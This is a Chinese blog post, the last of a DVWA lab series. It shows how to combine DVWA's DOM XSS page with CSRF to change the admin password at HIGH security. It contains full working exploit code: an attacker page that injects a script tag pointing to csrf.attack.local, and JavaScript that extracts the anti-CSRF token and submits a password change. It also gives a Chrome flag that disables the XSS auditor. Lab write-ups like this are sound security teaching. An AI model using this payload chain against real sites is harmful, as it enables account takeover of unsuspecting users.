DVWA详解:CSRF篇(终)
前言:
在写完"DVWA详解:CSRF篇(下)"后,博主研究了一下CSRF在HIGH难度下,结合XSS方式实现CSRF攻击的方法,没想到不到十分钟就测试出来了,于是就写下了这篇"终"博文;由于已经连续写了两篇关于CSRF的博文了,写第三篇确实有点乏力了,所以说明的东西不会太多;不过其实关于CSRF的说明,多看"下"篇,博主觉得就已经足够了~~DVWA的官方帮助文件中说明,MEDIUM难度以上的CSRF攻击,要结合XSS来实现,现在我们来实现这个目标吧,这不需要禁用浏览器的"同源策略"哦~~~
快速跳转:
HIGH - 源码分析:
HIGH难度的源码分析,见"DVWA详解:CSRF篇(下)";
HIGH WITH XSS - 实验操作(同源策略启用):
还是需要先更新代码:1、更新"index.html"(毕竟之前的快速调用按键没写这部分);2、创建"csrf/high.js"用于将密码修改成"adminroot"(结合XSS漏洞使用);3、创建"csrf/high_restore.js"用于将密码还原成"password"(结合XSS漏洞使用);
原理:使用DVWA站点上XSS页面的漏洞,调用远程CSRF攻击站点的"JS攻击脚本",由于是DVWA站点上的页面调用的,所以该"JS攻击脚本"符合浏览器的"同源策略",因此该脚本可以使用DVWA站点的COOKIE,并且可以使用DOM或JS代码检索响应数据~~
1 2 3 4 5 6 |
# 以下SHELL代码在"DOCKE虚拟机_B"(IP:192.168.100.56)中执行; # 1、进入目录(前面创建的目录),只是用"delete/html"目录保存HTML代码文件而已, # 之后会将这些HTML代码文件复制至"csrf"容器内; $ cd ; cd delete/html |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
# 2、修改"index.html"页面,增加"HIGH"难度的快速调用按钮; $ cat > index.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>DVWA CSRF TEST</title> <style> body {display: flex; flex-direction: column; align-items: center; margin: 10px;} button {height: 25px; width: 320px; margin: 5PX;} </style> </head> <body> <p>-----------------------------------------------</p> <H2>LOW</H2> <button onclick="OpenWindow('/csrf/low.html')">CSRF LOW - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/low_restore.html')">CSRF LOW - 修改密码为"password"</button> <hr> <p>-----------------------------------------------</p> <H2>MEDIUM</H2> <button onclick="OpenWindow('/csrf/medium_dvwa.domain.local.html')">CSRF MEDIUM - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/medium_restore_dvwa.domain.local.html')">CSRF MEDIUM - 修改密码为"password"</button> <hr> <p>-----------------------------------------------</p> <H2>HIGH</H2> <button onclick="OpenWindow('/csrf/high.html')">CSRF HIGH - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/high_restore.html')">CSRF HIGH - 修改密码为"password"</button> <p>需禁用浏览器的同源策略</p> <p>-----------------------------------------------</p> <H2>HIGH - WITH XSS</H2> <button onclick="HighWithXSS_1()">CSRF HIGH WITH XSS - 修改密码为"adminroot"</button> <button onclick="HighWithXSS_2()">CSRF HIGH WITH XSS - 修改密码为"password"</button> <H3 id="Box">当前密码为</H3> <p>-----------------------------------------------</p> </body> <script> function OpenWindow(page) { const url = 'http://csrf.attack.local' window.open(url + page); } baseURL = "http://dvwa.domain.local/vulnerabilities/xss_d/?default=English#" function HighWithXSS_1() { document.getElementById("Box").innerHTML = "adminroot"; window.open(baseURL + "<script src='http://csrf.attack.local/csrf/high.js'><\/script>", "_blank"); } function HighWithXSS_2() { document.getElementById("Box").innerHTML = "password"; window.open(baseURL + "<script src='http://csrf.attack.local/csrf/high_restore.js'><\/script>", "_blank"); } </script> </html> EOF |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
# 3、创建"csrf/high_restore.js"用于将密码还原成"password"(结合XSS漏洞使用); # *、XSS调用脚本的方式:# http://dvwa.domain.local/vulnerabilities/xss_d/?default=English#<script src="http://csrf.attack.local/csrf/high.js"></script> $ cat > csrf/high.js << "EOF" // axiosURL = 'https://cdn.jsdelivr.net/npm/[email protected]/dist/axios.min.js' axiosURL = 'http://csrf.attack.local/csrf/axios.min.0.10.0.js' function loadScript(url, callback) { var script = document.createElement('script'); script.src = url; script.onload = callback; document.head.appendChild(script); } function csrfAttack() { axios.get('http://dvwa.domain.local/vulnerabilities/csrf/') .then(function (response) { var tokenMatch = response.data.match(/'\w{32}'/) var token = tokenMatch[0].replace(/'/g, "") console.log("CSRF Token:", token) var changePasswd = "adminroot" var attackURL = "http://dvwa.domain.local/vulnerabilities/csrf/?password_new=" + changePasswd + "&password_conf=" + changePasswd + "&Change=Change&user_token=" + token axios.get(attackURL).then(function (response) { console.log("CSRF ATTACK SUCCESS: adminroot") }) }) } loadScript(axiosURL, csrfAttack); EOF |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
# 4、创建"csrf/high_restore.js"用于将密码还原成"password"(结合XSS漏洞使用); # *、XSS调用脚本的方式:http://dvwa.domain.local/vulnerabilities/xss_d/?default=English#<script src="http://csrf.attack.local/csrf/high_restore.js"></script> $ cat > csrf/high_restore.js << "EOF" // axiosURL = 'https://cdn.jsdelivr.net/npm/[email protected]/dist/axios.min.js' axiosURL = 'http://csrf.attack.local/csrf/axios.min.0.10.0.js' function loadScript(url, callback) { var script = document.createElement('script'); script.src = url; script.onload = callback; document.head.appendChild(script); } function csrfAttack() { axios.get('http://dvwa.domain.local/vulnerabilities/csrf/') .then(function (response) { var tokenMatch = response.data.match(/'\w{32}'/) var token = tokenMatch[0].replace(/'/g, "") console.log("CSRF Token:", token) var changePasswd = "password" var attackURL = "http://dvwa.domain.local/vulnerabilities/csrf/?password_new=" + changePasswd + "&password_conf=" + changePasswd + "&Change=Change&user_token=" + token axios.get(attackURL).then(function (response) { console.log("CSRF ATTACK SUCCESS: password") }) }) } loadScript(axiosURL, csrfAttack); EOF |
1 2 3 |
# 5、将文件更新至"csrf"容器 docker cp index.html csrf:/usr/share/nginx/html docker cp csrf/ csrf:/usr/share/nginx/html |
在完成上面代码的更新操作后,为了模拟本次实验,我们需要在CHROME浏览器上禁用"XSS过滤器"(这是早期CHROME自带的功能,后期已弃用,使用更先进的XSS防护方法),禁用方式见下说明:
1 2 3 4 |
chrome.exe --disable-xss-auditor --user-data-dir="C:\ChromeTest" # --disable-xss-auditor :禁用XSS过滤器(要测试XSS漏洞需要关闭) # --user-data-dir= :参数用于指定一个新的用户数据目录(CHROME不允许在默认配置下禁用同源策略) |
使用"已经禁用了'XSS过滤器'的旧版本的Chrome浏览器(IP:192.168.100.X)",按以下方式操作:
1、打开"DVWA站点"进行登录(这一步的操作是为了让浏览器获取COOKIE,用于被"CSRF站点"网站进行攻击);
2、修改难度为"HIGH";
3、在浏览器的新窗口中打开"http://csrf.attack.local/index.html",你可以选择以下操作:
- A、点击'CSRF HIGH WITH XSS - 修改密码为"adminroot"'按键就会将"admin"的密码修改为"adminroot"(以上操作会打开"DVWA站点"上XSS漏洞的页面,然后利用这个页面的XSS漏洞,调用"CSRF攻击站点上的'csrf/high.js'攻击脚本",从而实现CSRF漏洞攻击)(禁用浏览器"XSS过滤器"的状态下);
- B、点击'CSRF HIGH WITH XSS - 修改密码为"password"'按键就会将"admin"的密码修改为"password"(以上操作会打开"DVWA站点"上XSS漏洞的页面,然后利用这个页面的XSS漏洞,调用"CSRF攻击站点上的'csrf/high_restore.js'攻击脚本",从而实现CSRF漏洞攻击)(禁用浏览器"XSS过滤器"的状态下);
4、假设我们执行了"A"操作,返回在"DVWA站点"使用CSRF页面中的测试登录测试功能(点击"Test Credentials"弹出子页面),使用"admin/adminroot"进行登录测试,发现成功登录了,密码由原来默认的"password"密码被修改为"adminroot";
以下相关操作截图,诸可以参考操作:
小结:在结合XSS漏洞的情况下,终于在不需要禁用浏览器的"同源策略",就可以实现HIGH难度下的CSRF攻击了;不过,说这是HIGH难度下的纯XSS攻击也可以,毕竟XSS攻击的重点也是"Cross-Site",并且这里实现了;
结:
DVWA的CSRF篇到这里绝对是算完了,短时间写三篇博文,太累了~~
DVWA详解:CSRF篇(终):等您坐沙发呢!